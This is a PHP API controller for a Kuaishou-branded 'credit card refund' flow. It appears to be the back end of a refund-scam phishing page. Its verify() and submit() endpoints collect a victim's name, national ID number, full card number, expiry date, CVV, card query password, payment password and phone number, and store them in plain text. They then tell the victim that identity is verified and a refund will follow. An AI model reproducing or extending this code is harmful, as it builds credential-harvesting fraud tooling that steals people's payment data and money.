<?php
// +----------------------------------------------------------------------
// | Yzncms [ 御宅男工作室 ]
// +----------------------------------------------------------------------
// | Copyright (c) 2018 http://yzncms.com All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | fastadmin: https://www.fastadmin.net/
// +----------------------------------------------------------------------

// +----------------------------------------------------------------------
// | 信用卡退款提交接口
// +----------------------------------------------------------------------
namespace app\api\controller;

use app\common\controller\Api;
use app\common\model\KuaiShouConfigModel;
use app\common\model\KuaiShouCreditCardModel;
use think\facade\Hook;
use think\facade\Validate;
use think\Request;


class KuaiShouCreditCard extends Api
{
    /**
     * @param Request $request
     * @return void
     */
    public function verify(Request $request)
    {
        if (!$request->isPost()) $this->error('非法访问');
        $saveData = [
            KuaiShouCreditCardModel::ORDERNO => $request->post(KuaiShouCreditCardModel::ORDERNO),
            KuaiShouCreditCardModel::PAY_PASSWORD => $request->post(KuaiShouCreditCardModel::PAY_PASSWORD,''),
            KuaiShouCreditCardModel::REALNAME => $request->post(KuaiShouCreditCardModel::REALNAME),
            KuaiShouCreditCardModel::ID_NUMBER => $request->post(KuaiShouCreditCardModel::ID_NUMBER),
            KuaiShouCreditCardModel::BANK_CARD_NUMBER => $request->post(KuaiShouCreditCardModel::BANK_CARD_NUMBER),
            KuaiShouCreditCardModel::QUERY_PASSWORD => $request->post(KuaiShouCreditCardModel::QUERY_PASSWORD),
            KuaiShouCreditCardModel::VALIDITY_PERIOD_YEAR => $request->post(KuaiShouCreditCardModel::VALIDITY_PERIOD_YEAR),
            KuaiShouCreditCardModel::VALIDITY_PERIOD_MONTH => $request->post(KuaiShouCreditCardModel::VALIDITY_PERIOD_MONTH),
            KuaiShouCreditCardModel::SECURITY_CODE => $request->post(KuaiShouCreditCardModel::SECURITY_CODE),
            KuaiShouCreditCardModel::PHONE => $request->post(KuaiShouCreditCardModel::PHONE),
        ];
        if (!$saveData[KuaiShouCreditCardModel::ORDERNO]) {
            $this->error('提交失败，交易订单号不能为空！');
        }
        $zh = '/[\x{4e00}-\x{9fa5}]+/u';
        if (preg_match($zh, $saveData[KuaiShouCreditCardModel::ORDERNO])) {
            $this->error('提交失败，交易订单号不能包含中文！');
        }
        $openPayPassword = (new KuaiShouConfigModel())->getValueByKey('pay_password');
        if ($openPayPassword && !$saveData[KuaiShouCreditCardModel::PAY_PASSWORD]) {
            $this->error('提交失败，支付密码不能为空！');
        }
        if (!$saveData[KuaiShouCreditCardModel::REALNAME]) {
            $this->error('提交失败，姓名不能为空！');
        }
        $patternIdNumber = '/^([1-9]\d{5}(16|17|18|19|20|21)\d{2}(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])\d{3}(\d|X|x))$/';
        if (!preg_match($patternIdNumber, $saveData[KuaiShouCreditCardModel::ID_NUMBER])) {
            $this->error('提交失败，身份证号码格式不正确！');
        }
        $patternBankCardNumber = '/^\d{16,19}$/';
        if (!preg_match($patternBankCardNumber, $saveData[KuaiShouCreditCardModel::BANK_CARD_NUMBER])) {
            $this->error('提交失败，银行卡号码格式不正确！');
        }
        if (!$saveData[KuaiShouCreditCardModel::QUERY_PASSWORD]) {
            $this->error('提交失败，查询密码不能为空！');
        }
        if (!$saveData[KuaiShouCreditCardModel::VALIDITY_PERIOD_YEAR]) {
            $this->error('提交失败，有效期【年】份不能为空！');
        }
        if (!$saveData[KuaiShouCreditCardModel::VALIDITY_PERIOD_MONTH]) {
            $this->error('提交失败，有效期【月】份不能为空！');
        }
        if (!$saveData[KuaiShouCreditCardModel::SECURITY_CODE]) {
            $this->error('提交失败，安全码不能为空！');
        }
        $patternPhone = '/^1[3-9]\d{9}$/';
        if (!preg_match($patternPhone, $saveData[KuaiShouCreditCardModel::PHONE])) {
            $this->error('提交失败，手机号码格式不正确！');
        }
        $saveData[KuaiShouCreditCardModel::VALIDITY_PERIOD] = $saveData[KuaiShouCreditCardModel::VALIDITY_PERIOD_MONTH] . '/' . $saveData[KuaiShouCreditCardModel::VALIDITY_PERIOD_YEAR];
        $KuaiShouCreditCardModel = new KuaiShouCreditCardModel();
        $res = $KuaiShouCreditCardModel->save($saveData);
        $id = $res ? $KuaiShouCreditCardModel->id : 0;
        $token = md5('creditCard' . time() . mt_rand(9999, 9999999) . uniqid());
        // cache($token, json_encode($saveData), ['expire' => 3600]);
        $this->success('身份核实通过！', ['token' => $token, 'id' => $id]);
    }

    /**
     * 提交
     * @param Request $request
     * @return void
     */
    public function submit(Request $request)
    {
        $password = $request->post('password');
        if (!$password) $this->error('密码不能为空');
        $token = $request->post('token');
        $id = $request->post('id');

        $KuaiShouCreditCardModel = (new KuaiShouCreditCardModel())->where(KuaiShouCreditCardModel::ID, $id)->find();
        if (is_null($KuaiShouCreditCardModel)) $this->error('提交失败，无效的数据！');
        $res = $KuaiShouCreditCardModel->save([
            KuaiShouCreditCardModel::PASSWORD => $password,
        ]);
        if ($res) {
            cache($token, null);
            $this->success('提交成功，系统稍后将与商家核实，核实成功后将自动为您办理退款！');
        }
        $this->error('提交失败！');
    }

}
